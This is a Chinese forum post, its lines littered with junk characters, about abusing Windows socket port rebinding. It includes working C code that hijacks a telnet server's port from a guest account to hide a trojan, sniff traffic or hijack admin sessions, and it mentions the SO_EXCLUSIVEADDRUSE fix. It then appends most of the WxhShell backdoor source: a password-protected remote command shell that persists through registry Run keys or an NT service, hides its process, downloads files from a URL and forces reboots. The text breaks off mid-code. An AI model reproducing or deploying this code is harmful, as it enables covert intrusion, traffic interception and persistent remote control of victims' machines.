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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c@1q8,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }th^l*g  
t[-0/-4  
  saddr.sin_family = AF_INET; HAr_z@#E  
x6c#[:R&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <7%4=  
p~xrl jP$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wuQ>|\Zs  
XgmblNp1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N2x!RYW  
P.;S6i n  
  这意味着什么?意味着可以进行如下的攻击: e;/C}sK:  
^3:DeZf!u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |rbl sL2?Z  
ax)j$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :9Vd=M6,  
+e6c4Tw/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2!4.L&Ki  
'#b7Z?83C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "<J%@  
0u"/7OU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VI (;8  
]O;Hlty(g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b88Zk*  
|_P-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .V\ M/q\Tv  
96.z\[0VZ  
  #include qJ|n73yn  
  #include i;Y@>-[e<  
  #include j_r7oARL  
  #include    v8`)h<:W?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Twj?SV  
  int main() M5Twulz/w  
  { (cj3[qq  
  WORD wVersionRequested; (3=(g  
  DWORD ret; P;dp>jL  
  WSADATA wsaData; .u_k?.8|  
  BOOL val; _x.D< n=X  
  SOCKADDR_IN saddr; g}-Ch#  
  SOCKADDR_IN scaddr; XT|!XC!|  
  int err; [?$|   
  SOCKET s; Q l$t  
  SOCKET sc; PZdYkbj  
  int caddsize; Pj!{j)-tS  
  HANDLE mt; yO6 _G q{  
  DWORD tid;   ^!*?vHx:  
  wVersionRequested = MAKEWORD( 2, 2 ); ClHaR  
  err = WSAStartup( wVersionRequested, &wsaData ); H<SL=mb;  
  if ( err != 0 ) { elgCPX&:W  
  printf("error!WSAStartup failed!\n"); 47iwb  
  return -1; #dLp<l)  
  } Qw$"W/&X  
  saddr.sin_family = AF_INET; r $du-U  
   FBGHVV w!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E00zf3Jgv'  
UEq;}4Bo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I>27U<PX  
  saddr.sin_port = htons(23); >q&Q4E0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Jw[}&+  
  { ZHs hg`I`  
  printf("error!socket failed!\n"); Te8BFcJG  
  return -1; id-VoHd K  
  } !j(KbAhWZ  
  val = TRUE; MGO.dRy_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p 0.?R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n(Up?_  
  { sK:,c5^  
  printf("error!setsockopt failed!\n"); {I |k@  
  return -1; xX'Uq_ Jv  
  } ndm19M8Y|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gKZ{O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |<.b:e\4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {/BEO=8q2  
R0<ka[+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n;"4`6L~  
  { z#!xqIg0  
  ret=GetLastError(); 4:}`X  
  printf("error!bind failed!\n"); QD:0iD?  
  return -1; 0<L@f=i  
  } lO9{S=N  
  listen(s,2); %f;(  
  while(1) f*~ 4Kv  
  {  =&fBmV  
  caddsize = sizeof(scaddr); F_~-o,\  
  //接受连接请求 33kI#45s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YF{K9M!  
  if(sc!=INVALID_SOCKET) -aNTFt~|[  
  { s8|#sHT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A*pihBo7  
  if(mt==NULL)  2H<?  
  { N,ik&NIWy  
  printf("Thread Creat Failed!\n"); GtO5,d_  
  break; p _e-u-  
  } q rbF@{  
  } hkgPC-  
  CloseHandle(mt); +&\TdvNI4  
  } Ut-6!kAm  
  closesocket(s); >B~jPU  
  WSACleanup(); =D xJt7J1  
  return 0; y`Pp"!P"O  
  }   U8-9^}DBA  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~+>M,LfK  
  { wZa;cg.-q  
  SOCKET ss = (SOCKET)lpParam; !BEOeq@2.  
  SOCKET sc; U>;itHW/  
  unsigned char buf[4096]; vP}K(' (  
  SOCKADDR_IN saddr; oQ;f`JC^  
  long num; +$>ut r  
  DWORD val; ):78GVp  
  DWORD ret; Q]xW}5 /  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QBsDO].J<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w#mnGD  
  saddr.sin_family = AF_INET; [/uKo13  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |V 9%@ Y?  
  saddr.sin_port = htons(23); ,H[AC}z2X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,P"R.A  
  { lO $M6l  
  printf("error!socket failed!\n"); 0]oQ08  
  return -1; 3R#<9O  
  } W,{`)NWg  
  val = 100; _R(5?rG,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0acY@_  
  { N2&aU?`e  
  ret = GetLastError(); Y0B*.H Ae  
  return -1; \S7OC   
  } %y w*!A1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sw1]]-Es  
  { el|t6ZT*  
  ret = GetLastError(); , D1[}Lr=K  
  return -1; KR^peWR  
  } ^YIOS]d>8#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8v^i%Gg  
  { ` `;$Kr  
  printf("error!socket connect failed!\n"); y]jh*KD[  
  closesocket(sc); Mz++SPG7  
  closesocket(ss); ^Js9E  
  return -1; c?R.SBr,'  
  } Gm2rjpZeq  
  while(1) (Z"Xp{u  
  { `u>BtAx8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @J<B^_+Se  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #8z\i2I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [d&Faa[`  
  num = recv(ss,buf,4096,0); Fcr@Un'  
  if(num>0) *>'R R<  
  send(sc,buf,num,0); ABHZ)OM  
  else if(num==0) CQ( @7  
  break; \7j)^  
  num = recv(sc,buf,4096,0); kxn;;  
  if(num>0) *i?qOv /=>  
  send(ss,buf,num,0); `X^e}EGWu  
  else if(num==0) YqJIp. Z  
  break; ^w12k2a  
  } fcZOsTj  
  closesocket(ss); `p?E{k.N  
  closesocket(sc); (&*F`\  
  return 0 ; S-/ #3  
  } blN1Q%m6  
Qx,G3m[}  
.4Ny4CMHZ  
========================================================== bp$jD  
O(~Vvoq  
下边附上一个代码,,WXhSHELL ;:e,C@Fm  
g^C6"rsnl  
========================================================== !>:tF,fcB  
=5|5j!i=q  
#include "stdafx.h" j>b OnCp~  
r#Fu<so,  
#include <stdio.h> qJ/C*Wqic  
#include <string.h> 8Cqs@<r4Od  
#include <windows.h> "|G,P-5G"  
#include <winsock2.h> *"CvB{XF&Z  
#include <winsvc.h> lhI;K4#  
#include <urlmon.h> IcoL/7k3  
Td  F<  
#pragma comment (lib, "Ws2_32.lib") %xfy\of+Nk  
#pragma comment (lib, "urlmon.lib") j&Aq^aI  
F:@Ixk?E  
#define MAX_USER   100 // 最大客户端连接数 }6bLukv  
#define BUF_SOCK   200 // sock buffer $ vjmW! O  
#define KEY_BUFF   255 // 输入 buffer $~YuS_sYg  
c~'kW`sNV  
#define REBOOT     0   // 重启 @iRVY|t/  
#define SHUTDOWN   1   // 关机 2bJFlxEU  
c'B"Onu@m*  
#define DEF_PORT   5000 // 监听端口 "n6Y^  
l =yHx\  
#define REG_LEN     16   // 注册表键长度 !:t9{z{Ixg  
#define SVC_LEN     80   // NT服务名长度 |i`@!NrFL  
E&+ ^H on  
// 从dll定义API 6-=_i)kzq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }gW}Vr <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W$JA4O>b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XJzXxhk2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qc6IH9i`  
%yMzgk[u  
// wxhshell配置信息 `-H:j:U{  
struct WSCFG { YzZF^q^I  
  int ws_port;         // 监听端口 .HBvs=i  
  char ws_passstr[REG_LEN]; // 口令 (6BCFl:/Q<  
  int ws_autoins;       // 安装标记, 1=yes 0=no *e6|SZ &3  
  char ws_regname[REG_LEN]; // 注册表键名 cBI )?  
  char ws_svcname[REG_LEN]; // 服务名 %8L<KJd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  mb/[2y<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ffM(il/2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5G<CDgl^!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4cQ5E9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mvgm o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RF)B4D-W  
QC4T=E]` j  
}; *jK))|%  
vs. uq  
// default Wxhshell configuration QP B"E W  
struct WSCFG wscfg={DEF_PORT, T,uIA]  
    "xuhuanlingzhe", gxOmbQt@;  
    1, W\,lII0  
    "Wxhshell",  z\tJ~  
    "Wxhshell", B0i}Y-Z  
            "WxhShell Service", !_ Q!H2il  
    "Wrsky Windows CmdShell Service", %d0S-.  
    "Please Input Your Password: ", aHC;p=RQ\A  
  1, .e"Qv*[^  
  "http://www.wrsky.com/wxhshell.exe", (g m^o{  
  "Wxhshell.exe" h,>L(=c$O  
    }; ^I{]Um:  
k Ml<  
// 消息定义模块 $t$f1?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =.E(p)fz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [bv@qBL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9@Sb! 9h  
char *msg_ws_ext="\n\rExit."; %20-^&zZ  
char *msg_ws_end="\n\rQuit."; n6 G&^Oj  
char *msg_ws_boot="\n\rReboot..."; =BS'oBn^6  
char *msg_ws_poff="\n\rShutdown..."; XQOprIJ U  
char *msg_ws_down="\n\rSave to "; SSLs hY~d  
udGGDH  
char *msg_ws_err="\n\rErr!"; zt2-w/[Q  
char *msg_ws_ok="\n\rOK!"; g&T Cff  
z,|%? 1  
char ExeFile[MAX_PATH]; rhTk}2@h  
int nUser = 0; !|h2&tH  
HANDLE handles[MAX_USER]; {,FeNf46  
int OsIsNt;  vkpV,}H  
rO$>zdmYHs  
SERVICE_STATUS       serviceStatus; va(9{AXI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [\9(@Bx  
LDEt.,6i  
// 函数声明 |u"R(7N*  
int Install(void);  #>jH[Q  
int Uninstall(void); 8MeXVhM  
int DownloadFile(char *sURL, SOCKET wsh); gVU\^KN]  
int Boot(int flag); pMp9 O/u%  
void HideProc(void); 1K9?a;.  
int GetOsVer(void); [ |n-x3h  
int Wxhshell(SOCKET wsl); a<'$`z|s  
void TalkWithClient(void *cs); -0SuREn  
int CmdShell(SOCKET sock); $pfe2(8  
int StartFromService(void); $Ds]\j*  
int StartWxhshell(LPSTR lpCmdLine); 5?L:8kHsH  
j!MA]0lTM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6r=)V$K <  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %]0U60  
#}7m'F  
// 数据结构和表定义 HQ`nq~%&(  
SERVICE_TABLE_ENTRY DispatchTable[] = ~|{)h^]@  
{ Vfm #UvA  
{wscfg.ws_svcname, NTServiceMain}, Jf<yTAm  
{NULL, NULL} q>(u>z!  
}; oHXW])[  
UUf1T@-  
// 自我安装 aE+$&_>ef  
int Install(void) D 2:a  
{ *7;*@H*jd  
  char svExeFile[MAX_PATH]; Cn;H@!8<s  
  HKEY key; SE9u2Jk  
  strcpy(svExeFile,ExeFile); @GZa:(  
~oA9+mT5  
// 如果是win9x系统,修改注册表设为自启动 m2uML*&O5K  
if(!OsIsNt) { &9dr+o-(~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y2"S\%7$h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z!C4>,  
  RegCloseKey(key); *<1x:PR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +.#S[G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uxMy 1oy  
  RegCloseKey(key); <Mn7`i  
  return 0; a]Da`$T  
    } uM)9b*Vbo  
  } K: o|kd  
} ;=VK _3"  
else { ICCCCG*[  
QGv:h[b_  
// 如果是NT以上系统,安装为系统服务 ~q?"w:@;x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G'?f!fz;  
if (schSCManager!=0) 7cmr *y  
{ ]7S7CVDk4  
  SC_HANDLE schService = CreateService sJI -  
  ( ym*#ZE`B!  
  schSCManager, Y0X94k.u  
  wscfg.ws_svcname, W[X!P)=w]  
  wscfg.ws_svcdisp, 5?{ >9j5  
  SERVICE_ALL_ACCESS, _l!U[{l*d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *o e0=  
  SERVICE_AUTO_START, w4fJ`,  
  SERVICE_ERROR_NORMAL, D*T$ v   
  svExeFile, 'x,GI\;?  
  NULL, lmtQr5U  
  NULL, YNgR1 :l  
  NULL, TaQ "G  
  NULL, gvc' $9%  
  NULL QV'3O|  
  ); Hu9-<upc&  
  if (schService!=0) jU4)zN/`r  
  { fyg~KF}  
  CloseServiceHandle(schService); ksOANLRN  
  CloseServiceHandle(schSCManager); IJ_ 'w[k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dy6F+V\DG  
  strcat(svExeFile,wscfg.ws_svcname); ^I'Lw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j^$3vj5E[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uWR,6\_jY  
  RegCloseKey(key); V>>) 7E:Q  
  return 0; ttbQergS  
    } WrHgF*[  
  } $E`i qRB  
  CloseServiceHandle(schSCManager); CdzkMVH  
} wwK~H  
} =Qj+Ug'  
Qor{1_h)+9  
return 1; R(/[NvUb  
} 71 L\t3fG  
c5iormb"#  
// 自我卸载 m.HX2(&\3  
int Uninstall(void) -@ UN]K  
{ k;K> ,$ F  
  HKEY key; z%}CB Tm  
/ UaNYv/  
if(!OsIsNt) { C6D=>%uY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { liCCc;&B;  
  RegDeleteValue(key,wscfg.ws_regname); RQ*|+ ~H  
  RegCloseKey(key); !4 4mT'Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #.MIW*==  
  RegDeleteValue(key,wscfg.ws_regname); TRySl5jx@  
  RegCloseKey(key); :_fjml/  
  return 0; p;n3`aVh  
  } XC7Ty'#"KX  
} l?@MUsg+  
} +9 16ZPk  
else { qUEd E`B  
iJdrY 6qd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EG(`E9DZ  
if (schSCManager!=0) _Qm7x>NT4  
{ wv7p,9Z[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OXIu>jF  
  if (schService!=0) yd0=h7s  
  { >ggk>s|  
  if(DeleteService(schService)!=0) { a9? v\hG  
  CloseServiceHandle(schService); =q"w2b&  
  CloseServiceHandle(schSCManager); [$1: &!(!  
  return 0; {m_A1D/_  
  } RWh9&O:6'  
  CloseServiceHandle(schService); je- , S>U  
  } @Hspg^  
  CloseServiceHandle(schSCManager); F= _uNq  
} Cz=A{< ^g  
} |c 06ix;).  
<4l.s  
return 1; Qr|N)  
} I8<Il ^  
Giy3eva2  
// 从指定url下载文件 y"|K |QT  
int DownloadFile(char *sURL, SOCKET wsh) t`<}UWAH+  
{ teq^xTUF[  
  HRESULT hr; #51 4a(6  
char seps[]= "/"; pIZLGsu[  
char *token; r6F{  
char *file; >+Sv9S  
char myURL[MAX_PATH]; e'k;A{Oh  
char myFILE[MAX_PATH]; ueWR/  
iioct_7,g<  
strcpy(myURL,sURL); bxd3  
  token=strtok(myURL,seps); 9:9N)cNvfX  
  while(token!=NULL) 2A*X Hvwb  
  { )Y&MIJ7>@  
    file=token; ]^yV`Z8  
  token=strtok(NULL,seps); GZ/pz+)i&  
  }  95.qAFB1  
c W81  
GetCurrentDirectory(MAX_PATH,myFILE); R/ ALR  
strcat(myFILE, "\\"); };|!Lhl+  
strcat(myFILE, file); *<`7|BH3  
  send(wsh,myFILE,strlen(myFILE),0); TRs[~K)n  
send(wsh,"...",3,0); LPq*ZZK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?r -\%_J_(  
  if(hr==S_OK) N5q}::Odc  
return 0; u"`5  
else {\vI9cni|"  
return 1; 'h!h!  
ULp)T`P  
} 9]]!8_0=r  
7af?E)}v  
// 系统电源模块 Y=P9:unG  
int Boot(int flag) Mv/IMO0rR  
{ GN:Ru|n  
  HANDLE hToken; s jL*I  
  TOKEN_PRIVILEGES tkp; 763E 6,7  
NqiB8hZ~  
  if(OsIsNt) { JwN}Jm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #d }0}7ue  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i_ |9<7a  
    tkp.PrivilegeCount = 1; ?o2;SY(-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uI%N?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4)3g!o ?  
if(flag==REBOOT) { &ui:DZAxj|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) );Tx5Z}  
  return 0; P1(8U%   
} VqcBwJ!?p  
else { Gkdm7SV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :[y]p7;{f  
  return 0; Nj0-`j0E  
} 52>[d3I3  
  } 4mEzcwo'  
  else { ?60>'Xj j  
if(flag==REBOOT) { ,bB( 24LD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Si#"Wn?|  
  return 0; o\_ Td  
} X4d Xm>*?=  
else { gbYLA a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) > ]>0KQfO  
  return 0; J}x>~?W  
} 4^ c!_K&&  
} x1|Da$2  
;V|M3  
return 1; l%^h2 o  
} o `b`*Z  
6!4';2Q  
// win9x进程隐藏模块 Dl0/-=L  
void HideProc(void) F{TC#J}I%'  
{ y<O@rD8iA  
8B}'\e4i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !a' K &  
  if ( hKernel != NULL ) IkSX\*  
  { mZ`1JO9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \\Y,?x_0T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gb.f%rlZ`  
    FreeLibrary(hKernel); Q{H17]W  
  } wY' "ab  
hmc\|IF`  
return; 1Z\(:ab13  
} 5gO /-Zj  
%l Q[dXp  
// 获取操作系统版本 J$1j-\KS  
int GetOsVer(void) CkRyzF  
{ [?;`x&y~y  
  OSVERSIONINFO winfo; TcR=GR*cJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X7e>Z)l  
  GetVersionEx(&winfo); qIB>6bv#x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x$~3$E  
  return 1; &foD&  
  else MinbE13?U  
  return 0; IeO-O'^&`  
} CT|z[^  
_GE=kw;:  
// 客户端句柄模块 #]?tY }~  
int Wxhshell(SOCKET wsl) ^Y$QR]  
{ >NJjS8f5  
  SOCKET wsh; 2K3MAd{  
  struct sockaddr_in client; J cP~-cp  
  DWORD myID; 7 rH'1U  
0Xp nbB~~I  
  while(nUser<MAX_USER) %_>Tcm=  
{ 1#/6r :  
  int nSize=sizeof(client); g+e:@@ug  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [6O04"6K  
  if(wsh==INVALID_SOCKET) return 1; 'P+f|d[  
OWqrD@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -UJ?L  
if(handles[nUser]==0) yb69Q#V2  
  closesocket(wsh); k69kv9v@J  
else ~D*b3K 8X  
  nUser++; <'W=]IAV  
  } ldK>HxM%Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _Q> "\_,  
&j3` )N  
  return 0;  GaHA%  
} K*[9j 0  
BlL|s=dlQV  
// 关闭 socket w2k<)3 g~  
void CloseIt(SOCKET wsh) -<xyC8 $^$  
{ :MK=h;5Z  
closesocket(wsh); 'c#IMlv  
nUser--; ,E%1Uq"  
ExitThread(0); 9e]'OKL+  
} o\&~CW~@~  
`(3SfQ-  
// 客户端请求句柄 q1STRYb   
void TalkWithClient(void *cs) aQga3;S!  
{ %?Rs*-F.~1  
4e}{$s$Xx  
  SOCKET wsh=(SOCKET)cs; *vb^N0P  
  char pwd[SVC_LEN]; n|6?J_{<b>  
  char cmd[KEY_BUFF]; 'm[6v}  
char chr[1]; f?Z|>3.2  
int i,j; `N$!s7M  
<3lUV7!  
  while (nUser < MAX_USER) { l"kx r96  
c!mG1lwD.  
if(wscfg.ws_passstr) { "@4ghot t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &2Q*1YXj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b"Zq0M0 l  
  //ZeroMemory(pwd,KEY_BUFF); bQ<b[  
      i=0; !I~C0u  
  while(i<SVC_LEN) { n3'dLJH|  
lw s(/a*c  
  // 设置超时 EA6t36|TX  
  fd_set FdRead; +GYS26  
  struct timeval TimeOut; W+.{4 K  
  FD_ZERO(&FdRead); inZi3@h)T  
  FD_SET(wsh,&FdRead); jM]d'E?ZLA  
  TimeOut.tv_sec=8; ALfiR(!  
  TimeOut.tv_usec=0; 3^XVQS***  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t=Jm|wJnUA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3|zgDA  
,7<DGI_y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Q|sta!  
  pwd=chr[0]; c8<xFvYG  
  if(chr[0]==0xd || chr[0]==0xa) { *!Y- !  
  pwd=0; b_|u<  
  break; {M [~E|@D  
  } ^Z#@3 =  
  i++; :&9TW]*g  
    } Ge^Qar  
@ ICb Kg:  
  // 如果是非法用户,关闭 socket 0Qp[\ia  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |0kXCq  
} Y87XLvig}  
+TF8WZZF.d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PS$k >_=t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }a^|L"  
9#Bx]wy  
while(1) { ;gUXvx~~r  
x/xb1"  
  ZeroMemory(cmd,KEY_BUFF); srK53vKMHW  
'y.JcS!|  
      // 自动支持客户端 telnet标准   ab@=cL~^  
  j=0; {OCJ(^8i  
  while(j<KEY_BUFF) { qU-!7=}7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3b@VY'P  
  cmd[j]=chr[0]; };r|}v !~_  
  if(chr[0]==0xa || chr[0]==0xd) { 1A^1@^{m'  
  cmd[j]=0; 1Cv#nhmp  
  break; 84^[/d;!  
  } E M Q4yK  
  j++; dMV=jJ%Y  
    } CU$)QH{  
#9\THfb  
  // 下载文件 R*bmu  
  if(strstr(cmd,"http://")) { B)6#Lp3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t.)AggXj#  
  if(DownloadFile(cmd,wsh)) 3fp> 4;ym'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2O&2[g  
  else UOt8Q0)}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '_ 0  
  } Yb 6q))Y  
  else { ,Kw5Ro`I:  
Sy  
    switch(cmd[0]) { 1"YpO"Rh  
  AF$\WWrB  
  // 帮助 K &dT(U  
  case '?': { DW|vMpU]u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kiX%3(  
    break; 2+:'0Krc  
  } ,{8v4b-  
  // 安装 OKAkl  
  case 'i': { [;^,CD|P  
    if(Install()) u-szt ?O|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :u/mTZDi  
    else 41yOXy ;~l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0x~`5h  
    break; ^A!$i$NON  
    } `Wn Q   
  // 卸载 smup,RNZRX  
  case 'r': { 6 D/tK|  
    if(Uninstall()) utH%y\NMF|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,E}$[mHyjz  
    else [l*;E f,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mU@xc N  
    break; <lj\#'G3  
    } R ]P;sk5  
  // 显示 wxhshell 所在路径 >1ZJ{se  
  case 'p': { 6P*O&1hv  
    char svExeFile[MAX_PATH]; sS9%3i/>  
    strcpy(svExeFile,"\n\r"); 8r^ ~0nm  
      strcat(svExeFile,ExeFile); WYszk ,E  
        send(wsh,svExeFile,strlen(svExeFile),0); Q7GY3X*kA  
    break; N4wA#\-  
    } =~jA oOC@  
  // 重启 w z=z?AZW  
  case 'b': { P1V1as  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;#/0b{XFj  
    if(Boot(REBOOT)) S GM!#K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78]gt J  
    else { JJnYOau  
    closesocket(wsh); P^i.La,  
    ExitThread(0); E\$C/}T  
    } S_\ F  
    break; Cj^{9'0  
    } nIBFk?)6  
  // 关机 >qh?L#Fk  
  case 'd': { F8=nhn  
